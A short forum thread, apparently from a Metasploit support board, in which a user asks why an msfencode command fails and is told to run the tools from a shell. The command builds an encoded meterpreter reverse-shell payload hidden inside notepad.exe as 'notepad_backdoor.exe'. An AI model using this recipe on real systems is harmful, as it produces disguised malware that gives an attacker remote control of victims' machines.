x86/shikata_ga_nai failed: No such file or directory

[tartex1974]

Hi!

Im having problem generating an encoded payload using msfpayload and msfencode.

Running command:

msf > msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.144.129 EXITFUNC=thread R | ./msfencode -t exe -x notepad.exe -k -o notepad_backdoor.exe -e x86/shikata_ga_nai -c 5

Output:

x86/shikata_ga_nai failed: No such file or directory - ./lib/msf/util/../../../data/templates/notepad.exe

Ive placed the notepad.exe in the msf root directory, but there obviously seems to be some other issue.

Any one have a clue?

regards
tartex

[sickness]

You should take a look at the MSFU more carefully, you don't use msfpayload or msfencode from within msfconsole, you need to do it from a shell.

[tartex1974]

thanks! I will try that instead.